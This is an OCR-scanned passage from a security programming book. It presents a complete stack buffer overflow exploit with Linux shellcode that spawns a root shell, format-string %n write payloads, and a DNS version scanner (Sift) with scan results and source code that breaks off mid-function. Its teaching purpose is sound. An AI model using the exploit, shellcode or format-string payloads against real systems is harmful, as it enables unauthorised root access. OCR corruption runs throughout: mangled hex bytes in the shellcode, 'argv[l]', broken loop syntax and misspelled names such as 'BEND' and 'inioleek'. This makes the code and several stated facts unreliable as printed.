of the heap space is run with the same permissions as the process itself, a malicious user can therefore have
a root process execute arbitrary code. This situation is obviously bad.

A Sample Overflow

Next, we have a sample buffer overflow program that is capable of breaking the overflow! program that we
presented earher:

  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>

The following function places the address of the current stack pointer in a register that it used for returning the
results of function calls. When the get_esp() call returns, this value also returns to the calling function:

  /* find out where we are in the current memory space */
  unsigned long get_esp(void) {



    _asm_("movl %esp,%eax");
  }

The following sequence of assembly instructions lies at the heart of the buffer overflow attack. The chain of
machine codes instructs the processor to place the system call number in the first register, a pointer to the
address of the string "/bin/sh " in the second register, the address to the string "/bin/sh " in the third
register, and NULL in the fourth register. Next, the processor is interrupted to execute the program. Upon

return, the malicious code graciously informs the processor that the instruction set completed successfully:

  /* Our shellcode:
   * Assembly language for "launch a shell" and "exit cleanly".
   * This includes code to produce NULLs through XORs and switch to
   * relative addressing using an unreturned CALL.
   * This shellcode is written for Linux/x86.
   */
  char shellcode[] =
    "\xeb\xlf\x5e\x89\x76\x08\x31\xcO\x88\x46\x07\x89\x46\xOc\xbO\xOb"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\xOc\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  
  int main(int argc, char **argv)
  {
      char *egg;
      long retaddr;
      int eggsize, offset, i;
  
      /* Provide some basic help to the user */
      if (argc != 3)
      {
            printf("Usage: /n");
            printf(" tbreak [eggsize] [offset] /n");
            printf(" tvulnprog $EGG /n");
  
            return (EXIT_FAILURE);
       }
  
       /* convert values passed to us by the user to integers */
       eggsize = atoi(argv[l]);
       offset = atoi(argv[2]);

Here, memory is allocated to build the attack code, which we often refer to as an "egg":

  if ((egg = (char *)malloc(eggsize)) == NULL)
  {
      perror("malice");
      return (EXIT_FAILURE);
  }



A call to get_esp() grabs the current location of the stack in memory and also enables the user to subtract

an arbitrary offset from this value. Careful adjustment of this offset often means the difference between a
functional and non-functional overflow attack:

  /* get return address */
  retaddr = get_esp() - offset;

In order to increase the chances of successfully inserting the arbitrary return address into the correct position
on the stack (and therefore successfully exploiting the overflow), the entire egg fills with the target address:

  /* fill the entire array with the targeted return address. */
  for (i = 0; i < (eggsize / 4); i++)
  {
           *((long *)egg + i) = retaddr;
  }

The return addresses, which were placed in the first half of the egg earlier, are now replaced with dummy
instructions. These "No Operation" (or NOPs for short) form a "landing pad" for the return address. If the
return address ends up landing anywhere in the middle of the field of NOPs, the processor processes these
nominally and increments until it hits the shell code segment (which has yet to be inserted):

  /* setup NOP ramp */
  for (i = 0; i eggsize / 2; i++)
  (
      *(egg + i) = 0x90;
  }

The program then copies the shell code created earlier into the middle of the egg, placing it directly between
the NOPs and the return address segment. It caps it off with a NULL terminator (remember that this shell code

needs to be treated as a string):

  /* put our target shell code right smack in the middle */
  for (i =0; i strlen(shellcode); i++)
  {
       *(egg + i + (eggsize/2) - (strlen(shellcode) / 2}) = shellcodefi];
  }
  /* cap the end of the array with a NULL */
  egg[eggsize-l] = '\0';
  /* drop the whole thing into an environmental variable */
  memcpy(egg, "EGG=", 4);
  putenv(egg);
  
  /* perform a sanity check of what was built */
  printf("Eggsize/Offset: %i/%i /n", eggsize, offset);
  printf("Retaddr: Ox%x\n", retaddr);
  printf("Egg: ");
  
  for (i = 0; i < eggsize; i++)



  {
       printf("%x", egg[i]);
  }
  printf("\n");
  
  /* spawn a shell, and away we go! */
  system("/bin/bash");

The egg is now in place in the environment of the newly spawned shell. All that is required now is to execute
the vulnerable program with the environmental variable $EGG as an argument:

        return (EXIT_SUCCESS);
  }

It is up to the user to determine the correct egg size. In general, the egg has to be large enough to fully
overwrite the target buffer and intrude into the stack far enough to replace the old instruction pointer with the
new return address. Because the size of our target buffer is already known (512 bytes), it is a fair guess that
the egg should be at least 600 bytes deep. Again, due to the numerous copies of the return address that exist
in the tail of the egg, the user has quite a bit of leeway in defining the egg size.

The offset provides the user with another degree of freedom in the overflow attempt by enabling precise
control of the return address. It might be the case that the NOP ramp does not begin at the return address
extracted from the current stack pointer. By providing an offset address on the command line, the user can
bump down the return address, safely placing it in the range of the NOP ramp at the beginning of the egg.

In the following section, you can find a sample invocation of the software. We omitted a complete dump of the
shell code for the sake of brevity.

  tradecraft: ~# ./break 600 0
  Eggsize/Offset: 600/0
  Retaddr: Oxbffffl28
  tradecraft: ~# ./overflowl $EGG
  Completed strncpy().
  Completed strcpy().
  Segmentation fault (core dumped)

Here, we see an unsuccessful attempt at overflowing the buffer and changing the old instruction pointer to our
target return address. Another attempt at increasing our egg size by 100 bytes is as follows:

  tradecraft: ~>./break 700 0
  Eggsize/Offset: 700/0
  Retaddr: Oxbffff888
  tradecraft: ~>./overflowl $EGG
  Completed strncpy().
  Completed strcpy().
  sh-2.04# id
  uid=0(root) gid=1001(route) groups=1001(route)



The creation of an instance of /bin/sh indicates that the exploit of the overflow condition was successful.

Because the overflowl binary was configured to run with root privileges, the user executing the overflow has
complete control over the system.

Over the past decade, the security community has weathered hundreds of vulnerabilities in major operational
system components due to buffer overflow issues. Because the discovery and attack process of these
programming errors has practically become algorithmic for most exploit writers, buffer overflow-style attacks
are one of the chief system security concerns. Unlike DoS-style attacks, such as SYN floods and rapid virus
propagation, the existence of buffer overflow attacks is largely unreported by the media and continues to crop
up (even in modern code implementations).

Format String Vulnerabilities

Format string vulnerabilities, like buffer overflows, are programming flaws that enable the attacker to
potentially control the afflicted software. Also, like buffer overflows, format string vulnerabilities tend to crop up
whenever arbitrary user input is allowed into a program. Any program that (improperly) handles input from an
external source can be vulnerable to these attacks. Consider the following short program:

  #include <stdio.h>
  
  int
  main(int argc, char **argv)
  {
       /* not vulnerable to a forrat string attack */
       printf("%s", argv[l]);
       printf(" /n");
  
       /* vulnerable to a format string attacK */
       printf(argv[l]);
       printf(" /n");
       return (0);
  }

To the casual programmer, the first and last printf() statements appear similar. Sure, the programmer

took a shortcut in the second statement—and, rather than specifying a format string as in the first function call,
he passed the string to be printed directly to the function. Indeed, both statements accomplish the same
thing—right? The answer is yes and no. When the program is compiled and executed, under normal
circumstances both statements will do the same thing:

  tradecraft: ~# ./fmtl "handsome devil"
  handsome devil
  handsome devil

As expected, the output from both statements is identical, printf(), however, has considerably more

functionality built into it than simple screen output. Consider the following invocation:

  tradecraft: ~# ./fmtl "%x %x %x %x"
  %x %x %x %x
  dfbfd668 dfbfd5b4 17ab 0



This result is obviously not expected. The first statement displayed the string as entered at the command line
while the second statement output something entirely different. To understand what is going on and to
understand why it is a security flaw, we first need to understand format strings.

What Is a Format String?

A format string is a programming primitive employed with the printf() family of functions and is used to

dictate the formatting of an arbitrary character string. Examples of format specifiers appear in Table 10.1 .

%d

Interprets the argument specified as a signed decimal number

%x

Interprets the argument specified as an unsigned hexadecimal number

%s

Interprets the argument specified as a string

%p

Interprets the argument specified as an address (pointer)

%n

Stores the number of characters that should be outputted before the format specifier in the argument

Table 10.1: Format Specifiers

FORMAT MEANING

Another short program containing a typical format string is as follows:

  #include <stdio.h>
  
  int
  main(int argc, char **argv)
  {
      int n, m;
  
      n = 10;
      printf("The variable n is %d and lives at %p.%n /n", n, &n, &m);
      printf("The above line is %d characters.\n", m);
      return (0);
  }

This program, when executed, produces the following output:

  tradecraft: ~# ./fmt2



  The variable n is 10 and lives at Oxdfbfdl9O.
  The above line is 45 characters.

As format specifiers are encountered within a format string, a variable number of arguments are retrieved from
the stack and processed accordingly. In this example, the printf() function scans the format string and first
encounters the %d format specifier. It pulls the first four bytes from the stack, which happens to be the value
n, and formats them as an integer, printf() then reads the next format specifier %p and pulls the next four
bytes from the stack, the address of n, and formats them as a pointer. Finally, the first printf() statement
reads the %n format specifier and writes the number of bytes output to the address specified by the next four
bytes on the stack, which point to the variable m. The second printf() statement prints out the number of

characters outputted by the first statement.

By printing out these values stored on the stack, an attacker can peek into the memory of the program. Also
possible, as we will see, is the ability to write arbitrary values to the stack.

A Sample Format String Attack

To illustrate and frame these points better, we consider the next program that contains a format string
vulnerability:

  #include <stdio.h>
  
  int
  main(int argc, char **argv)
  {
     char buf[100]; int n;
  
     n = 1;
  
     /* read input from command line and NULL terminate */
     snprintf (buf, sizeof (buf), argv[l]);
     buf[sizeof (buf) - 1] = 0;
  
     printf("\n%d byte buffer: %s\n", strlen(buf), buf);
     printf("The variable n is %d and lives at %p.\n", n, &n);
  
     return (0);
  }

We invoke this program with a simple string:

  tradecraft: ~# ./fmt3 "hello world"
  
  11 byte buffer: hello world
  The variable n is 1 and lives at Oxdfbfd220.

Nothing is out of the ordinary about this invocation. The string was formatted and output, as was the local
variable n. When we invoke the program with a string consisting of four format specifiers, however, as in the

first example, the story is a bit more compelling:



  tradecraft: ~# ./fmt3 "%x %x %x %x %x"
  
  29 byte buffer: 17eb dfbfdb40 40002064 2074 1
  The variable n is 1 and lives at Oxdfbfdb20.

The five values that are output are the next five arguments on the stack immediately following the format string
"%x %x %x %x %x ": the local variable n and 16 bytes of data formatted as four 4-byte integers taken from
the buf variable. This situation happens because snprintf() interprets the argument passed in by the user
as a format string. snprintf() then expects that immediately following the format string in memory, there

will be four integers to format as hexadecimal values into this string. Because these values are not supplied, it
pulls the next 20 bytes from the stack, which happen to be variable n, and 16 bytes from buf. This situation

is what happened in the first example, too.

The penultimate moment of this attack comes into play with the realization that the arbitrary values entered at
the command line that are stored in the buffer can end up also being used as arguments to snprintf().

Consider the following invocation:

  tradecraft: ~# ./fmt3 "XXXX %x %x %x %x %x %x %x"
  
  45 byte buffer: XXXX 17eb dfbfd108 40002064 2074 1 1 58585858
  The variable nisi and lives at OxdfbfdOe8.

Here, we see that the four X characters supplied at the command line were copied to the beginning of buf
and interpreted by snprintf() as a hexadecimal argument (an X is 0x58 when encoded in ASCII).

Finally, we use this information to modify values stored in our program. Consider the following example, which
uses Perl to judiciously place a hexadecimal address in the format string:

  tradecraft: ~# peri -e 'system "./fmt3",
  "\xlc\xdb\xbf\xdf%x%x%x%x%x%d%n" '
  
  30 byte buffer: - ??17ebdfbfdb3c40002064207411
  The variable n is 30 and lives at Oxdfbfdblc.

By specifying this format string in the program, we changed the value of n. In effect, the function call to
snprintf() looks something like the following:

  snprintf(buf, sizeof (buf),
          "\xlc\xdb\xbf\xdf%x%x%x%x%x%d%n",
          <20 bytes of data from the stack>,
          n,
          Oxdfbfdblc);

First, snprintf() copies the initial 4 bytes of the format string into buf. Next, it scans the five %x format
specifiers and pulls 20 bytes from the stack and copies them, as integers, into buf. Next, snprintf()
formats and prints the value of n into buf. Finally, snprintf() reaches the %n specifier (which tells it to

read the next 4 bytes as an address and write the number of characters output thus far as an integer to this
address, which just so happens to point to n ). It is no accident that printf() will write this value to n; we



specified n's address at the beginning of our format string.

The output from the printf() statement looks garbled because we formatted unprintable characters into

our buffer.

In order to change the value of n to other values, we can pad the format string as such:

  tradecraft: ~# peri -e 'system "./fmt-3",
  "\xlc\xdb\xbf\xdf%x%x%x%x%x %d%n" '
  32 byte buffer: - ?17ebdfbfdb3c4000206420741       1
  The variable n is 32 and lives at 0xdfbfdblc.

But in order to write values to n that are larger than the upper limit of buf (it is constrained to holding 100

characters), we employ the format width specifier:

  tradecraft: ~# perl -e 'system "./fmt3",
  "\xlc\xdb\xbf\xdf%x%x%x%x%x%.99d%n" '
  
  99 byte buffer: ?&Auml; ?17ebdfbfdb3c4000206420741000000000000000000000000000
  0000000000000000000000000000000000000000000
  
  The variable n is 129 and lives at 0xdfbfdblc.

Recall that %n prints the number of characters that should be outputted. Although buf was only capable of
outputting 100 characters, the %n format specifier still records 129.

To write the value 0 to n, we shift the address that we are writing to 3 bytes:

  tradecraft: ~# peri -e 'system "./fmt3",
  "\xl9\xdb\xbf\xdf%x%x%x%x%x%d%n" '
  
  30 byte buffer: -- ?17ebdfbfdb3c40002064207411
  The variable n is 0 and lives at 0xdfbfdblc.

This process works because the value written to n, 30, is represented as a 4-byte little-endian integer: 0xld
0x00 0x00 0x00. We end up performing an unaligned write (which fails on processors that have stricter
alignment restrictions, such as SPARC) that overwrites the low-order portion of the variable n. A side effect of
this write is that we also overwrite 1 byte adjacent to n with 0xld, which might or might not cause

complications.

The security implications of format string attacks come into play when they are extended to overwrite a stored
UID variable that will be restored or to overwrite a function's return address to return to a buffer containing
user-defined shell code.

Format string vulnerabilities are still relatively new to the security scene. While they have existed since code
was first penned, only recently have they been discovered and brought to light. Since then, the floodgates
have opened and all sorts of programs have been found vulnerable. Like buffer overflows, the solution to the
problem here is education. Once programmers stop making coding mistakes, the vulnerabilities go away.



 



 

Sample Program–Sift

Sift, as shown in Figure 10.2, is a small tool that demonstrates the vulnerability scanning attack and
penetration technique. It is a vulnerability scanner that scans a series of hosts, querying them for their DNS
server version. Based on the version string returned, the user can determine whether the DNS server in
question is vulnerable to a particular attack. DNS is an integral part of the Internet infrastructure to such a
large extent that the Internet could not function without it. There are two main qualities of DNS that make it
such an attractive target for attackers: the fact that it must be a publicly facing service that cannot be filtered
and that it is ubiquitously deployed all over the Internet. The Internet Software Consortium's BIND DNS
software package, historically known for containing more than its fair share of vulnerabilities, is the most
widely used implementation of DNS.

Figure 10.2: Sift DNS vulnerability scanner.

By specifying the -h argument or invoking it with no arguments, Sift dumps its usage as such:

  tradecraft: ~# ./sift
  Sift 1.0 [DNS Version scanning tool]
  usage ./sift [options] host_file
  -h                  this blurb you see right here
  -i device           specify a device
  -r count            number of times to retry the query
  -t timeout          seconds to wait for a response

As always, the -i switch enables the user to specify a specific device to use. The -r option enables the user
to specify a redundancy count that causes Sift to resend queries that time out. The -t option controls the

timeout interval. The host file should be a newline-delimited list of DNS servers to query.

Sift works by constructing and sending Chaos class query requests to a DNS server then setting a timer and
waiting for a response. If a given DNS server understands, implements, and is configured to respond to
Chaos class queries, it will return a response that Sift will read. By default, all BIND DNS servers will respond
to Chaos class queries with their version (and probably others, as well). It is, however, trivial to reconfigure a
DNS server to either ignore the request or report false information, as we will see.

A sample invocation of Sift against a small sampling of DNS servers is as follows:

  tradecraft: ~# ./sift -r2 sample-hostfile.txt



  Sift 1.0 [DNS Version scanning tool]
  <ctrl-c> to quit
  Chaos class query to 172.16.10.1:        9.2.1rc2
  Chaos class query to 172.30.107.254:     server failed
  Chaos class query to 172.30.89.132:      not implemented
  Chaos class query to 172.22.89.134:      not implemented
  Chaos class query to 172.17.52.3:        BINDS.1.2
  Chaos class query to 172.17.52.6:        BINDS.1.2
  Chaos class query to 172.17.55.125:      BINDS.1.2
  Chaos class query to 172.16.112.2:       9.1.0
  Chaos class query to 172.16.216.5:       surelyyoujest
  Chaos class query to 172.16.216.6:       *
  Chaos class query to 172.16.216.6:       *
  Chaos class query to 172.19.230.1:       not implemented
  Chaos class query to 172.20.16.3:        8.2.5-REL
  Chaos class query to 172.20.16.4:        8.2.3-REL
  Chaos class query to 172.21.244.231:     9.1.3
  Chaos class query to 172.21.244.232:     9.1.3
  Chaos class query to 172.21.32.200:      not implemented
  Chaos class query to 172.21.32.201:      *
  Chaos class query to 172.21.32.201:      *
  Chaos class query to 172.21.32.70:       *
  Chaos class query to 172.21.32.70:       *
  Chaos class query to 172.21.32.71:       *
  Chaos class query to 172.21.32.71:       4.9.8
  Chaos class query to 172.21.76.13:       BINDS.1.2
  Chaos class query to 172.21.76.14:       BINDS.1.2
  Chaos class query to 172.16.198.2:       8.2.3-REL
  Chaos class query to 172.16.25.51:       not implemented
  Sift statistics:
  total queries sent:               27
  total responses received:         20
  total valid responses received:   12
  total timeouts:                    7
  total timeouts resolving:          0
  total not implemented:             5
  total server failed:               1
  total format errors:               0

Sift sent a total of 27 queries to 23 different hosts. The queries that timed out were sent again, and it paid off
for the query to host 172.21.32.71, which responded after the second query was sent. The interesting
responses to note are the servers that are woefully out of date with patchlevels and version updates. Five
machines were found to be running BIND 8.1.2, which is known to be vulnerable to the inioleek, tdmax,
solinger, maxdname, and naptr bugs. Some of these bugs are serious DoS bugs that can be trivially triggered
to wreck havoc on the machines and networks in question.

While the previous limited invocation of Sift is interesting to see on a small scale, it is more important to
understand current vulnerability trends and posture across the Internet. To accomplish this task, Sift was run
against a host file consisting of 15,659 Internet DNS servers. These servers represent a large constituency of
the Internet's DNS framework and provide a firm basis for assessing the overall DNS-related security of the
Internet.



Sift was invoked as follows:

  tradecraft: ~# ./sift -tl masterlist.txt
  Sift 1.0 [DNS Version scanning tool]
  <ctrl-c> to quit
  ...
  Sift statistics:
  total queries sent:                15298
  total responses received:          12025
  total valid responses received:     8577
  total timeouts:                     3273
  total timeouts resolving:            361
  total not implemented:              2625
  total server failed:                 723
  total format errors:                 100

The entire scan took about four hours, and while we will not show the raw data in detail, the statistical results
are more interesting. We noted the following:

A total of 75 percent (12,025) DNS servers responded. There are several possible reasons why 3273
requests timed out, including network congestion, prohibitive edge filtering, or downed machines. Two
percent (361) failed to reverse resolve, which could also be due to any of these reasons (including invalid
zone files).

A total of 56 percent (8577) DNS servers responded with an actual version string. Some of this
information, as noted earlier, is false data designed to frustrate would-be attackers.

A total of 22 percent (3448) DNS servers did not implement the Chaos class, failed when trying to parse
the query, or did not like the format of the request. Let's hope that they handle the Internet class better.

Sixty-three percent (5473) of those DNS servers that did respond appeared to be running some version
of BEND.

Thirty-seven percent (3171) of those DNS servers that did respond were running versions of BIND
(known to be vulnerable). This list includes versions of BIND from 4.8 to 8.2.2p7.

Six percent (482) of those DNS servers that did respond were running 4.x versions of BIND, including
some that stamped the compilation date of the server inside the version string, which was dated
November 1996.

Twenty-seven servers responded with "8.2.2-P5+Fix_for_CERT_till_01_30_01", announcing

that they are vulnerable to several attacks (including infoleek, tsig, srv, sigdivO, and zxfr). The tsig is the
most severe, because it enables attackers to gain remote privileged access to vulnerable machines.

Another 15 servers were running BIND 8.2.1, which is widely considered to be the most vulnerable
version of DNS in existence.

Do not take my word for it, however. Compile the code and run it against your favorite DNS server today.

 



 

Sample Code–Sift

The following two source files comprise the Sift codebase. To preserve readability, we richly comment the code but do not
include book-text inside the code. You can download the full source files from this book's companion Web site at
http://www.wi1ey.com/compbooks/schiffman .

sift.h

    /*
     * $Id: sift.h.v 1.3 2002/05/17 05:55:29 route Exp $
     *
     * Building Open Source Network Security Tools
     * sift.h - Vulnerability Scanning Technique example code
     *
     * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
     * All rights reserved.
     *
     *
     */

     #include <libnet.h>
     #include <pcap.h>

     /* misc defines */
     #define SNAPLEN         150        /* 150 bytes should cover us nicely */
     #define PROMISC         0          /* dont need to be in promise mode */
     #define TIMEOUT         0          /* no timeout, return immediately */
     #define SOURCE_PORT     31337      /- we are */
     tdefine FILTER          "udp port 53" /* only DNS responses please */
     tdefine NETWORK_TIMEOUT 3          /* 3 seconds and we're crying foul */
     /* sitt return codes */
     #define TIMEDOUT        0          /* no response */
     fdefine NO_ANSWER       1          /* a response without an answer */
     #define RESPONSE        2          /* a response with an answer */

/* DNS flags */
     #define DNS_NOTIMPL     0x0004
     #define DNS_SERVFAILED  0x0002
     #define DNS_FORMATERR   0x0001

/*
* The chaos class query resource record:
* 07 'V' 'E' R' 'S' 'I' '0' 'N' 04 'B' 'I' 'N' 'D' 00 16 00 03
*/
u_char chaos_query[]     = {0x07, 0x76, 0x65, 0x72, 0x73, 0x69,
                            0x6f, 0x6e, 0x04, 0x62, 0x69, 0x6e,
                            0x64, 0x00, 0x00, 0x10, 0x00, 0x03};
#define CHAOS_QUERY_S 18            /* our chaos class RR is 18 bytes */

http://www.wi1ey.com/compbooks/schiffman


/* sift statistics structure */
struct sift_stats
{
     u_long total_queries;          /* total queries sent */
     u_long total_responses;        /* total responses received */
     u_long valid_responses;        /* real responses received */
     u_long timed_out;              /* total timeouts */
     u_long timed_out_resolving;    /* total timeouts resolving */
     u_long not_implemented;        /* DNS servers NI */
     u_long server_failed;          /* DNS server failed */
u_long format_error;                /* DNS server format errors */
};

/* sift control context */
struct sift_pack
{
     pcap_t *p;                     /* pcap descriptor */
     libnet_t *1;                   /* libnet descriptor */
     FILE *in_hosts;                /* file to read hosts from */
     FILE *in_db;                   /* file to read db from */
     u_char *packet;                /* everyone's favorite: packet! */
     struct pcap_pkthdr h;          /* pcap packet header */
     libnet_ptag_t dns;             /* DNS header */
     libnet_ptag_t udp;             /* UDP header */
     libnet_ptag_t ip;              /* IP header */
     u_long src_ip;                 /* source ip */
     u_long dst_ip;                 /* host to scan */
     u_short id;                    /* session id */
     u_char to;                     /* packet read timeout */
     u_char cnt;                    /* probe count */
     u_char flags;                  /* control flags */
     struct sift_stats stats;       /* statistics */
     char errbuf[LIBNET_ERRBUF_SIZE];
};
struct sift_pack *sift_init(char *, char *, u_char, u_char, u_char,
        char *);
void sift_destroy(struct sift_pack *);
void sift(struct sift_pack *);
void sift_stats(struct sift_pack *);
int build_packet(struct sift_pack *, char *);
int write_packet(struct sift_pack *);
int receive_packet (struct sift_pack *);
void cleanup(int);
int catch_sig(int, void(*)());
void usage(char *);

/* EOF */

sift.c



  /*
   * $Id: sift.c,v 1.3 2002/05/17 05:55:29 route Exp $
   *
   * Building Open Source Network Security Tools
   * sift.c - Vulnerability Scanning Technique example code
   *
   * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
   * All rights reserved.
   *
   *
   */
  
  #include "./sift.h"
  
  int loop = 1;
  
  int
  main(int argc, char **argv)
  {
       int c;
       u_char to, cnt, flags;
       char *device;
       struct sift_pack *sp;
       char errbuf[LIBNET_ERRBUF_SIZE], file[64];
   
       printf("Sift 1.0 [DNS Version scanning tool]\n");
  
       to = 0;
       cnt = 0;
       flags = 0;
       device = NULL;
       memset (&file, NULL, sizeof (file));
       while ((c = getopt(argc, argv, "hi:r:t:")) != EOF)
  {
       switch (c)
       {
            case 'h':
                 usage(argv[0]);
                 exit (EXIT_SUCCESS);
                 break;
            case 'i':
                 device = optarg;
                 break;
            case 'r':
                 cnt = atoi(optarg);
                 break;
            case 't':
                 to = atoi(optarg);
                 break;
            default:
                 usage(argv[0]);



                 exit(EXIT_FAILURE);
            }
       }
  
       c = argc - optind;
       if (c != 1)
       {
            usage(argv[0]);
            exit (EXIT_FAILURE);
       }
       else
       {
            /* target IPs */
            strncpy(file, argv[optind], sizeof (file) - 1);
       }
       sp = sift_init(device, file, flags, to, cnt, errbuf);
       if (sp == NULL)
       {
            fprintf(stderr, "sift_init() failed: %s\n", errbuf);
            goto done;
       }
  
       printf("<ctrl-c> to quit\n");
       sift(sp);
       sift_stats(sp);
  
  done:
       sift_destroy(sp);
       return (EXIT_SUCCESS);
  }
  
  struct sift_pack *
  sift_init(char *device, char *file, u_char flags, u_char to, u_char cnt, char *errbuf)
  {
       struct sift_pack *sp;
       struct bpf_program filter_code;
       bpf_u_int32 local_net, netmask;
       int one;
  
      /*
       * We want to catch the interrupt signal so we can inform the user
       * how many packets we captured before we exit.
       */
       if (catch_sig(SIGINT, cleanup) == -1)
       {
           sprintf(errbuf, "can't catch SIGINT signal. /n");
           return (NULL);
  }
  
  sp = malloc(sizeof (struct sift_pack));
  if (sp == NULL)
  {



       snprintf(errbuf, LIBNET_ERRBUF_SIZE, strerror(errno));
       return (NULL)
  }
  
  /* open the host list */
  sp->in_hosts = fopen(file, "r");
  if (sp->in_hosts == NULL)
  {
       snprintf(errbuf, LIBNET_ERRBUF_SIZE, strerror (errno));
       sift_destroy(sp);
       return (NULL);
  }
  
  sp->id = getpidO;
  sp->flags = flags;
  sp->to = to == 0 ? NETWORK_TIMEOUT : to;
  sp->cnt = cnt;
  sp->dns = LIBNET_PTAG_INITIALIZER;
  sp->udp = LIBNET_PTAG_INITIALIZER;
  sp->ip = LIBNET_PTAG_INITIALIZER;
  
  /*
   * If device is NULL, that means the user did not specify one and
   * is leaving it up libpcap / libnet to find one. We'll use
   * libpcap's lookup routine, but they're both from the same
   * codebase so it doesn't matter... ;)
   */
  if (device == NULL)
  {
       device = pcap_lookupaev(errbuf);
       if (device == NULL)
       {
            sift_destroy(sp);
            return (NULL);
       }
  }
  /*
   * Open the packet capturing device with the following values: 
   *
   * SNAPLEN: We shouldn't need more than 150 bytes
   * PROMISC: off
   * TIMEOUT: Oms
   */ sp->p = pcap_open_live(device, SNAPLEN, PROMISC, TIMEOUT, errbuf);
  if (sp->p == NULL)
  {
       return (NULL);
  }
  
  /*
   * BPF, by default, will buffer packets inside the kernel until
   * either the timer expires (which we do not use) or when the
   * buffer fills up. This is not sufficient for us since we could



   * miss responses to our probes. So we set BIOCIMMEDIATE to tell
   * BPF to return immediately when it gets a packet. This is pretty
   * much the same behavior we see with Linux which returns every
   * time it sees a packet. This is less than efficient since we're
   * spending more time interrupting the kernel, but hey, we gotta
   * get our work done!
   *
   * We don't check for error here on purpose. Since we're not
   * doing any robust precompilation configuration via autoconf
   * we can't be sure if this system supports BPF. As such we'll
   * just try the ioctl and if it fails - so be it. We'll assume
   * the system does not support the ioctl(). This IS pretty naive.
   * For the right way to do this, see Chapter 12. Also we do hope
   * that this ioctl() won't cause unexpected side effects on non
   * bpf-enabled machines.
   */
  one = 1;
  if (ioctl(pcap_fileno(sp- p), BIOCIMMEDIATE, &one) 0)
  {
       /* it's ok if this fails... */
  }
  
  /*
   * We need to make sure this is Ethernet. The DLT_EN10MB specifies
   * standard 10MB and higher Ethernet.
   */
  if (pcap_datalink(sp- p) != DLT_EN10KB)
  {
       sprintf(errbuf, "Sift only works with ethernet.\n");
       sift_destroy(sp);
       return (NULL);
  }
  
  /* get the subnet mask of the interface */
  if (pcap_lookupnet(device, &local_net, &netmask, errbuf) == -1)
  {
       snprintf(errbuf, LIBNET_ERRBUF_SIZE, "pcap_lookupnet()");
       sift_destroy(sp);
       return (NULL);
  }
  
  /* compile the BPF filter code */
  if (pcap_compile(sp- p, &filter_code, FILTER, 1, netmask) == -1)
  {
       snprintf(sp->errbuf, LIBNET_ERRBUF_SIZE, "pcap_compile(): %s" '
               pcap_geterr(sp->p));
       sift_destroy(sp);
       return (NULL);
  }
  
  /* apply the filter to the interface */
  if (pcap_setfilter(sp- p, &filter_code) == -1)



  {
       snprintf(sp->errbuf, LIBNET_ERRBUF_SIZE, "pcap_setfilter(): %s" '
               pcap_geterr(sp- p));
       sift_destroy(sp);
       return (NULL);
  }
  
  sp->l = libnet_init(LIBNET_RAW4, device, errbuf);
  if (sp->l == NULL)
  {
       sift_destroy(sp);
       return (NULL);
  }
  
  /* set the source address of our interface */
  sp->src_ip = Iibnet_get_ipaddr4(sp->l);
  return (sp);
  }
  
  void
  sift_destroy(struct sift_pack *sp)
  {
       if (sp)
       {
            ir (sp->p)
            {
                 pcap_close (sp->p);
            }
            if (sp->l)
            {
                 libnet_destroy(sp->l);
            }
            if (sp->in_hosts)
            {
                 fclose(sp->in_hosts);
            }
       }
  }
  int
  catch_sig(int signo, void (*handler)())
  {
       struct sigaction action;
  
       action.sa_handler = handler;
       sigemptyset(&action.sa_mask);
       action.sa_flags = 0;
  
       if (sigaction(signo, &action, NULL) == -1)
       {
            return (-1);
       }
       else



       {
            return (1);
       }
  }
  
  void
  sift(struct sift_pack *sp)
  {
       u_char retry_cnt;
       char host[128];
  
       retry_cnt = 0;
       /* pull entries from the host list and send queries */
       while (fgets(host, sizeof (host) - 1, sp->in_hosts) && loop)
       {
            if (host[0] == '#')
            {
                 /* ignore comments */
                 continue;
            }
            /* remove the newline */
            host[strlen(host) - 1] = 0;
  
            /* build a chaos query packet using host as the destination */
            if (build_packet(sp, host) == -1)
            {
                 fprintf(stderr, "build_packet(): %s", sp- errbuf);
                 continue;
            }
  
            /* set retry counter, accounting for the probe just sent */
            sp->cnt ? retry_cnt = sp->cnt - 1 : 0;
  retry:
            /* write query the network */
            if (write_packet(sp) == -1)
       {
            fprintf(stderr, "write_packet(): %s", sp->errbuf);
            continue;
       }
       else
       {
            sp->stats. total_queries++;
            fprintf(stderr, "Chaos class query to %s: t",
                    libnet_addr2name4(sp- dst_ip, 0));
       }
  
       /* read the response handling timeouts if so configured */
       if (receive__packet (sp) == TIMEDOUT)
       {
            /* timed out, check for retry */
            if (retry_cnt)
            {



                 retry_cnt--;
                 goto retry;
                 }
            }
       }
  }
  
  int
  build_packet(struct sift_pack *sp, char *host)
  {
       u_long packet_size;
  
       packet_size = LIBNET_IPV4_H + LI3NET_UDP_H + LIBNET_DNSV4_H +
            CHAOS_QUERY_S;
  
       /*
        * Increment the session id per packet. We do this in case a DNS
        * server happened to respond late to a query we had already deemed
        * expired. If we used the same transaction id for every query,
        * these late comers could give us false results.
        */
       + + sp->id;
  
       /*
        * Build a dns chaos class query request packet. As before, we
        * save the ptag after the first usage so future calls will modify
        * this packet header template rather than build a new one.
        */
  
       sp->dns = Iibnet_build_dnsv4(
       sp->id,                          /* transaction id */
       0x0100,                          /* flags (request) */
       1,                               /* 1 question RR */
       0,                               /* no answer RR */
       0,                               /* no authority RR */
       0,                               /* no additional RR */
       chaos_query,                     /* payload */
       CHAOS_QUERY_S,                   /* payload size */
       sp->l,                           /* libnet context */
       sp->dns);                        /* ptag */
  if (sp->dns == -1)
  {
            sprintf(sp->errbuf, "Can't build DNS header: %s /n",
                    libnet_geterror(sp->l));
            return (-1);
  }
  
  /*
   * The UDP header only has to be built once. Checksums will have
   * to be recomputed everytime since the DNS header is changing
   * but we don't need to modify the header explicitly after it's
   * built.



   */
  if (sp->udp == LIBNET_PTAG_INITIALIZER)
  {
       sp->udp = libnet_build_udp(
            SOURCE_PORT,                /* source port */
            53,                         /* destination port */
            LIBNET_UDP_H + LIBNET_DNSV4_H + CHAOS_QUERY_S,
            0,                          /* checksum */
            NULL,                       /* payload */
            0,                          /* payload size */
            sp->l,                      /* libnet context */
            sp->udp);                   /* ptag */
      if (sp->udp == -1)
      {
